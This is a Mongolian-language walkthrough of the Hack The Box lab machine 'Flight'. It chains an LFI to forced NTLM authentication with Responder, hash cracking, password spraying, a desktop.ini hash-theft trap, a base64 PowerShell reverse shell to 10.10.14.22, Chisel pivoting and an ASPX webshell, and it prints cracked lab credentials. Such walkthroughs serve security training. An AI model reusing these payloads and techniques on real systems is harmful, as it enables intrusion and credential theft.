✈️Flight
File Disclosure, Enumeration, LLMNR Poisoning, Pivoting, RunasCS.EXE
Nmap-г ашиглаж scanning хийсэн. Мэдээж өөр зөндөө Scanner ашиглах боломжтой шүү. Нийтлэг 22, 21, 23-р портууд хаалттай байсан бөгөөд сонирхол татсан порт нь 445 ( SMB ), 389 ( LDAP ) байлаа
┌──(root㉿kali)-[~]
└─# nmap -A -T5 -p- --min-rate 1000 10.10.11.187
Starting Nmap 7.92 ( https://nmap.org ) at 2022-12-13 01:46 EST
Nmap scan report for school.flight.htb (10.10.11.187)
Host is up (0.30s latency).
Not shown: 65516 filtered tcp ports (no-response)
PORT STATE SERVICE
53/tcp open domain
80/tcp open http
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
5985/tcp open wsman
9389/tcp open adws
49667/tcp open unknown
49673/tcp open unknown
49674/tcp open unknown
49697/tcp open unknown
49709/tcp open unknown
Nmap done: 1 IP address (1 host up) scanned in 197.92 secondsSubdomain-уудыг Wordlist-ээс хайсан. Нилээн олон илэрц гарсан бөгөөд үүнээс school сонирхолтой санагдаад туршсан.
wfuzz -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -u "http://flight.htb/" -H "Host: FUZZ.flight.htb" --hl 154
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://flight.htb/
Total requests: 19966
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000624: 200 90 L 412 W 3996 Ch "school" 
Subdomain-г олсон учраас мэдээж Directory bruteforce хийх хэрэгтэй.
dirsearch -u http://school.flight.htb
_|. _ _ _ _ _ _|_ v0.4.3.post1
(_||| _) (/_(_|| (_| )
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25
Wordlist size: 11460
Output File: /home/kayiz/Desktop/HTB/Flights/reports/http_school.flight.htb/_22-12-13_01-56-16.txt
Target: http://school.flight.htb/
Home button дээр дарахад LFI байж болохоор /index.php?view=home гэсэн параметр гарч ирсэн. Гэхдээ энгийн ../../../../etc/passwd явуулахад Suspicious Activity Blocked response-г харуулсан.

?view= -г ашиглаад тухайн хуудсыг өөрийг нь дуудаж Source Code-г харсан.

<?php
ini_set('display_errors', 0);
error_reporting(E_ERROR | E_WARNING | E_PARSE);
if(isset($_GET['view'])){
$file=$_GET['view'];
if ((strpos(urldecode($_GET['view']),'..')!==false)||
(strpos(urldecode(strtolower($_GET['view'])),'filter')!==false)||
(strpos(urldecode($_GET['view']),'\\')!==false)||
(strpos(urldecode($_GET['view']),'htaccess')!==false)||
(strpos(urldecode($_GET['view']),'.shtml')!==false)
){
echo "<h1>Suspicious Activity Blocked!";
echo "<h3>Incident will be reported</h3>\r\n";
}else{
echo file_get_contents($_GET['view']);
}
}else{
echo file_get_contents("C:\\xampp\\htdocs\\school.flight.htb\\home.html");
}
?>
Source Code-г харвал LFI-р дамжуулж Windows-н Share-лүү халдлага хийх боломжтойг харж болно. Энэхүү халдлагыг LLMNR Poisoning гэдэг бөгөөд Poisoning хүсэлтийг хүчээр илгээлгүүлээд Response дээр нь тухайн системийн нууц үгийн Hash утгыг capturing хийж авах боломжтой байдаг.

responder -I tun0 -wPv




За мэдээж олж авсан Hash утгаа тайлахын тулд John ашигласан. Энэхүү Hash нь NTLMv2 форматтай байдаг.
svc_apache --> S@Ss!K@*t13

Олж авсан нууц үгээ ашиглаж Share-д бүртгэлтэй хэрэглэгчдийн мэдээллийг Enumeration хийсэн.
crackmapexec smb flight.htb -u svc_apache -p 'S@Ss!K@*t13' --users

Хэрэглэгчдийн нэрийг ашиглаж Bruteforce хийхийн тулд нийлүүлээд нэг үгийн сан болгосон.


Хэрэглэгчдийн нэр болон олж авсан нууц үгээ ашиглаад Enumeration хийж S.Moon хэрэглэгч энэхүү нууц үгтэй таарж байгааг олсон.
crackmapexec smb flight.htb -u user.txt -p 'S@Ss!K@*t13' --continue-on-success

psexec-г ашиглаад орох гэсэн боловч Access Denied алдаа өгсөн. Тэгэхээр s.moon хэрэглэгч Access хийх эрхгүй гэдгийг харж болно. Тэгвэл эрхийн түвшин нь хангалттай хүрэх хэрэглэгчийн мэдээллийг олж авъя.
impacket-psexec flight.htb/s.moon@g0.flight.htb

mkdir openMe
attrib +s openMe
cd openMe
echo [.ShellClassInfo] > desktop.ini
echo IconResource=\\10.10.14.22\test >> desktop.ini
attrib +s +h desktop.ini
IconResource хэсэгт Share-лүү хандах IP хаяг болон Folder нэрээ зааж өгснөөр NTLM creds Steal халдлагыг бүрэн хийх боломжтой болно. Энэхүү desktop.ini файлыг өмнө нь хандаж байсан эрхээрээ SMB-рүү хандаан put хийж өгсөн.


Энэ үед мэдээж tun0 интерфэйс дээр Poisoning request шидээд Listening хийсэн байх ёстой. Нууц үгийн Hash утгыг олоод мөн л Crack-даад C.Bum хэрэглэгчийн нууц үгийг олно.
c.bum::flight.htb:4cd27f636efc3257:7F64B4D7A6217B4730D74EF1E01203C5:0101000000000000809D337E9380D901C51E38F813A6CDA300000000020008003000570044004E0001001E00570049004E002D00320052004F00560058004E003900550038004A00540004003400570049004E002D00320052004F00560058004E003900550038004A0054002E003000570044004E002E004C004F00430041004C00030014003000570044004E002E004C004F00430041004C00050014003000570044004E002E004C004F00430041004C0007000800809D337E9380D90106000400020000000800300030000000000000000000000000300000E227B834CC2C6B7192EFB78D231DCFC9EAB20E4ED178B616C3D6C6DCDD6462A90A001000000000000000000000000000000000000900200063006900660073002F00310030002E00310030002E00310034002E00320032000000000000000000

john bum --wordlist=/usr/share/wordlists/rockyou.txt

smbclient //flight.htb/Web -U c.bum

За бид нар SMB-ээр дамжуулж хүссэн файлаа байршуулах боломжтойг мэдсэн учраас миний хувьд бол эхлээд тухайн серверлүү дуртай Webshell-ээ байршуулж Comfortable орчинг бүрдүүлдэг дараа нь холболт тогтоох Initial Access-г хийхийг хичээдэг.

Initial Access хийхдээ Powershell ашигласан. Powershell-н Base64 encode хийсэн Payload-г ашиглаж эхний хандалтыг олж авсан.

powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA0AC4AMgAyACIALAA5ADAAMAAxACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA==

Initial Access олж авсаны дараа одоо ажиллаж байгаа үйлчилгээнүүд ямар төлөвтэй байгааг харвал LISTENING горимтой маш олон порт дээр сервисүүд ажиллаж байсан бөгөөд эдгээр үйлчилгээнүүдийг өөр дээрээ ажиллуулж
Ямар эмзэг байдалтай байна вэ?
Яаж цаашаа бусад үйлчилгээрүү шилжих вэ? гэх мэт асуудлыг шийдэхийн тулд Pivoting хийсэн байгаа шүү.

Chisel-г ашиглаж сүлжээнд Pivoting хийнэ

Chisel нь 2 төрөл байдаг бөгөөд энэ удаа би Windows-д зориулж гаргасан хувилбарыг ашигласан.
chisel-г ашиглах заавар:
Client талдаа:
.\chisel.exe client 10.10.14.22:9999 R:8000:127.0.0.1:8000
Server талдаа:
chisel server --reverse -p 9999За өөр дээрээ үйлчилгээг нь оруулсны дараа .aspx аппликейшн байсан учраас ASPX дээр бичсэн Webshell-г ашиглав.
PS C:\users\svc_apache\Desktop> copy cmd.aspx c:\inetpub\development\PS C:\windows\system32\inetsrv> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ========================================= ========
SeAssignPrimaryTokenPrivilege Replace a process level token Disabled
SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled
SeMachineAccountPrivilege Add workstations to domain Disabled
SeAuditPrivilege Generate security audits Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set DisabledЗа тэгээд үүнээс цаашаа ер нь амархан бүгдээрээ энэхүү эрхүүдийг ашиглаад хялбар Privilege Escalation хийх боломжтой
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects EnabledLast updated
